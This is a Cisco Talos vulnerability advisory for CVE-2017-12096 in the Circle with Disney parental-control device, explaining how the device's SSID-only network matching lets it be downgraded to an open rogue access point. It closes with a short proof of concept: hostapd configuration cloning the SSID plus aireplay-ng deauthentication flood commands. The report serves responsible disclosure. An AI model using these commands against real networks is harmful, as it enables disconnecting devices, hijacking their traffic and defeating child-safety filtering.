Talos Vulnerability Report

TALOS-2017-0448

Circle with Disney WiFi Security Downgrade Vulnerability

October 31, 2017
CVE Number

CVE-2017-12096

Summary

An exploitable vulnerability exists in the WiFi management of Circle with Disney. A crafted Access Point with the same name as the legitimate one, can be used to make Circle connect to an untrusted network. An attacker needs to setup an Access Point reachable by the device and to send a series of spoofed "deauth" packets to trigger this vulnerability.

Tested Versions

Circle with Disney 2.0.1

Product URLs

https://meetcircle.com/

CVSSv3 Score

6.5 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-284: Improper Access Control

Details

Circle with Disney is a network device used to monitor internet use of children on a given network.

Circle can connect to a home network either via WiFi or wired connection. When no cable connection is possible, Circle will switch to WiFi, which was set-up during the initial configuration.

The monitor function sub_40AD84 in the configd binary keeps track of the wired interface connectivity by reading the file /sys/class/net/eth0/carrier every second. If the ethernet cable is disconnected, the function switches to the WiFi interface by calling sub_40A9D4. At high level this function works as follow:

def sub_40A9D4():
    ssid = conf_get("wifi/ssid")
    encryption = conf_get("wifi/encryption")
    key = conf_get("wifi/key")
    if !exists("/tmp/ap_list.out"):
        system("/mnt/shares/usr/bin/scripts/aplist_create.sh")                 # [1]
    (channel, security, hidden) = parse_ap_list(ssid)                          # [2]
    write_file("/tmp/wifi_ssid", ssid)
    write_file("/tmp/wifi_ssid_escaped", escape(ssid))
    write_file("/tmp/wifi_password", key)
    system('/mnt/shares/usr/bin/scripts/restart_wifi.sh %s  "%s" "%s" ' % \    # [3]
        (channel, security, hidden))

Note that conf_get refers to the operation of retrieving an element from "configure.xml".

In short, sub_40A9D4 retrieves the configured SSID from "configure.xml", then using parse_ap_list (sub_40A640) [2] retrieves the current channel, security (WPA2, WEP or none) and whether the SSID is hidden or not, from a recent Access Point scan. These parameters are then passed to the restart_wifi.sh script [3].

aplist_create.sh [1] will be called to make sure that "ap_list.out" is filled with a list of existing Access Points. Its contents are shown below.

#!/bin/sh
ifconfig ra0 up
iwinfo ra0 scan > /tmp/ap_list.out      # [4]

iwinfo [4] prints a list of Access Points detected by ra0, every entry has the following form:

Cell 01 - Address: 11:22:33:44:55:66
          ESSID: "valid-ssid"
          Mode: Master  Channel: 1
          Signal: -22 dBm  Quality: 70/70
          Encryption: WPA2 PSK (CCMP)

What parse_ap_list [2] does is parsing each of these entries in "ap_list.out", for finding the expected SSID and returning its related "Encryption" and "Channel" values. At high level it works as follows:

def parse_ap_list(ssid):
    essid_str  = 'ESSID: "%s"' % ssid
    ch_str     = 'Channel: '
    enc_str    = '          Encryption: '
    channel    = ''
    encryption = ''

    aplist = open("/tmp/ap_list.out")
    for line in aplist.next():                                           # for each line in ap_list.out
        if essid_str not in line: continue                               # proceed only with expected SSID
        line = aplist.next()                                             # get next line
        if ch_str in line:
            channel = str(int(line[line.index(ch_str) + len(ch_str):]))  # extract integer after ch_str
        elif enc_str in line:
            encryption = line[line.index(enc_str) + len(enc_str):]       # extract text after enc_str
            return (channel, encryption)
    ...

When calling restart_wifi.sh [3] the wireless interface tries to establish a connection to the configured Access Point. Its main function is to populate the configuration file in /tmp/wpa_supplicant.conf based on the parameters passed to it, and finally restart wpa_supplicant.

When the iwinfo output for the configured Access Point contains the line "Encryption: WPA2 PSK (CCMP)", a generated wpa_supplicant.conf looks as follows:

ctrl_interface=/var/run/wpa_supplicant
network={
  ssid=P"homenet"
  bgscan=""
        psk=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Whereas if the line contains "Encryption: none" the generated configuration will be:

ctrl_interface=/var/run/wpa_supplicant
network={
  ssid=P"homenet"
  bgscan=""
  key_mgmt=NONE

As we can see from the parse_ap_list logic, the only variable used to identify the configured Access Point is its ESSID, and the encryption defined in configure.xml is not taken into account.

This way an attacker to setup a crafted Access Point with the same name as the legitimate one and to make Circle connect to it. The device will continue to function but won't be able to apply any filtering over the original network, moreover this allows an attacker to conduct further attacks against the device that may be possible only on a common subnetwork.

As an example, this vulnerability would allow an external attacker to apply TALOS-2017-0396 and TALOS-2017-0371 to completely compromise the device.

Exploit Proof-of-Concept

The following proof of concept shows how to make the device to connect to a fake Access Point managed by an attacker.

$ cat << EOF > hostapd.conf
interface=wlan0
channel=1
ssid2=P"$WIFI_ROUTER_SSID"
EOF
$ hostapd -B ./hostapd.conf

$ airmon-ng start wlan0 1
$ aireplay-ng --deauth 10000 -a $WIFI_ROUTER_MAC -c $CIRCLE_MAC mon0

First an Access Point is created with the same name of the legitimate Access Point to which Circle is currently connected to, but without encryption.

Then, a series of spoofed "deauth" packets are sent to the device, so that Circle will drop the active connection. Circle will then rescan the available Access Points and should eventually connect to the attacker's one.

Timeline

2017-09-20 - Vendor Disclosure
2017-10-31 - Public Release

Credit

Discovered by Claudio Bozzato and Lilith Wyatt <(^_^)> of Cisco Talos.